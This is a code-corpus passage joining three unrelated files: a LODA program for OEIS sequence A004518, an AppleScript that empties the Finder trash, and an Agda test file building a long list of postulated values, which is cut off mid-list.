; A004518: Generalized nim sum n + n in base 8.
; Submitted by <NAME>(s3)
; 0,2,4,6,0,2,4,6,16,18,20,22,16,18,20,22,32,34,36,38,32,34,36,38,48,50,52,54,48,50,52,54,0,2,4,6,0,2,4,6,16,18,20,22,16,18,20,22,32,34,36,38,32,34,36,38,48,50,52,54
mov $3,1
lpb $0
mov $2,$0
div $0,8
mod $2,4
mul $2,$3
add $1,$2
mul $3,8
lpe
mov $0,$1
mul $0,2
|
Applications/Finder/empty the trash/empty the trash.applescript | looking-for-a-job/applescript-examples | 1 | 2274 | #!/usr/bin/osascript
tell application "Finder"
empty the trash
end tell |
test/succeed/Issue1108.agda | larrytheliquid/agda | 1 | 3551 | {-# OPTIONS --allow-unsolved-metas #-}
infixr 6 _∷_
data List (A : Set) : Set where
[] : List A
_∷_ : A -> List A -> List A
postulate
Bool : Set
t : Bool
long : List Bool
long =
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷ t ∷
